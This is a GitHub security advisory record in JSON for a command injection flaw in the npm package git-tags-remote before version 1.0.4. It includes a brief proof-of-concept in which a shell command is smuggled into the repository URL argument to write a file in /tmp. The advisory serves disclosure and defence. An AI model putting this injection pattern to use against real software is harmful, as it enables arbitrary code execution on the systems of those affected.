{"id":"GHSA-gm9x-q798-hmr4","summary":"Command Injection in git-tags-remote","details":"All versions of `git-tags-remote ` are vulnerable to Command Injection. The package fails to sanitize the repository input and passes it directly to an `exec` call on the `get` function . This may allow attackers to execute arbitrary code in the system if the `repo` value passed to the function is user-controlled.  \n\nThe following proof-of-concept creates a file in `/tmp`:  \n```\nconst gitTagsRemote = require('git-tags-remote');\n\ngitTagsRemote.get('https://github.com/sh0ji/git-tags-remote.git; echo \"Injection Success\" \u003e /tmp/command-injection.test')\n.then(tags =\u003e console.log(tags));\n```","modified":"2021-09-23T17:26:33Z","published":"2020-07-29T14:53:40Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2020-07-29T14:52:24Z","nvd_published_at":null,"cwe_ids":["CWE-78"]},"references":[{"type":"WEB","url":"https://github.com/sh0ji/git-tags-remote/issues/58"},{"type":"WEB","url":"https://github.com/sh0ji/git-tags-remote/commit/a20488960cbd2c98455386108253094897ebfc1c"},{"type":"PACKAGE","url":"https://github.com/sh0ji/git-tags-remote"},{"type":"WEB","url":"https://www.npmjs.com/advisories/1517"}],"affected":[{"package":{"name":"git-tags-remote","ecosystem":"npm","purl":"pkg:npm/git-tags-remote"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/07/GHSA-gm9x-q798-hmr4/GHSA-gm9x-q798-hmr4.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"}]}